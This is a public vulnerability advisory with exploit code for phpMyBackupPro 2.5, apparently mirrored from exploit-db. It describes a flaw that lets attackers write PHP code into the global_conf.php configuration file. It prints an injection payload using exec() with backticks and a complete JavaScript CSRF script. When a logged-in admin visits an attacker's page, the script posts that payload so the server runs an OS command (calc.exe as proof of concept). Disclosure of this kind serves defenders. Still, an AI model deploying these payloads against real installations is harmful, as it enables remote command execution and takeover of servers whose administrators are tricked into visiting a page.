phpMyBackupPro 2.5 – Remote Command Execution / Cross-Site Request Forgery

  • 作者: hyp3rlinx
    日期: 2016-02-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39453/
  • [+] Credits: hyp3rlinx
    
    [+] Website: hyp3rlinx.altervista.org
    
    [+] Source:
    http://hyp3rlinx.altervista.org/advisories/PHPMYBACKUPPRO-v2.5-RCE.txt
    
    
    Vendor:
    =============================
    www.phpmybackuppro.net
    
    project site:
    sourceforge.net/projects/phpmybackup/
    
    
    Product:
    ===========================
    phpMyBackupPro v.2.5 (PMBP)
    
    phpMyBackup Pro is a very easy to use, free, web-based MySQL backup
    application, licensed under the GNU GPL.
    You can create scheduled backups, manage and restore them, download or
    email them and a lot more.
    
    
    Vulnerability Type:
    =========================
    Remote Command Execution / CSRF
    
    
    CVE Reference:
    ==============
    N/A
    
    
    Vulnerability Details:
    =====================
    
    phpMyBackupPro uses PHP configuration files (global_conf.php) to manage
    settings, allowing user to change things like sql host, language, email
    etc..
    However, a malicious local user can also inject persistent arbitrary PHP/OS
    commands into the configuration to be executed on the host system.
    The remote command execution can also be a result of a CSRF driveby by if
    currently logged admin visits an attackers webpage.
    
    Attackers can inject and write to disk arbitrary PHP code into the
    global_conf.php configuration file if a victim visits a malicious webpage
    or clicks an
    infected link via a CSRF vector or additionally from a local malicious user
    in shared host type environment.
    
    first we escape the single quotes etc... so we can close the expected
    entry, then we leverage the backtick "`" operator to have PHP execute OS
    commands
    on victims system as it works just as well without having to deal with all
    the quote escaping.
    
    e.g. payload that handles the single "'" quote an forward slashes "/"...
    
    ''///\\');exec(`c:/\Windows/\system32/\calc.exe`); ///\';
    
    
    The above when injected will result in a write to $CONF variables in
    global_conf.php as follows...
    
    $CONF['lang']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);
    ///\';');
    
    OR...
    
    $CONF['email']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);
    ///\';');
    
    
    Exploit code(s):
    ===============
    
    Send admin infected link or convince them to visit our malicious webpage,
    then if the user is logged in and...
    a) clicks our link or visits our evil webpage or
    b) submits the form locally (malicious user) then BOOOOOOOOOOOM!
    
    
    Exploit to run calc.exe on Windows
    
    <script>
    var c=0;
    (function RCE_MAYHEM(){
    c++
    var xhr=new XMLHttpRequest()
    xhr.open('POST','
    http://localhost/phpMyBackupPro-2.5/phpMyBackupPro-2.5/config.php',true)
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.withCredentials = true;
    xhr.send("sitename=localhost&lang=''///\\');exec(`c:/\Windows/\system32/\calc.exe`);
    ///\';&sql_host=localhost&sql_user=&sql_passwd=&sql_db=&ftp_server=
    hyp3rlinx.altervista.org
    &ftp_user=hyp3rlinx&ftp_passwd=&ftp_path=&ftp_pasv=1&ftp_port=666&ftp_del=1&email_use=1&email=&submit=Save+data")
    if(c<2){
    RCE_MAYHEM()
     }
    })()
    </script>
    
    
    Disclosure Timeline:
    =====================================
    Vendor Notification:NR
    February 16, 2016: Public Disclosure
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ================
    High
    
    
    Description:
    =============================================================
    
    Request Method(s):[+]POST
    
    
    Vulnerable Product: [+]phpMyBackupPro v.2.5 (PMBP)
    
    
    Vulnerable Parameter(s):[+]$CONF
    
    ============================================================
    
    [+] Disclaimer
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and that due
    credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit is given to
    the author.
    The author is not responsible for any misuse of the information contained
    herein and prohibits any malicious use of all security related information
    or exploits by the author or elsewhere.
    
    by hyp3rlinx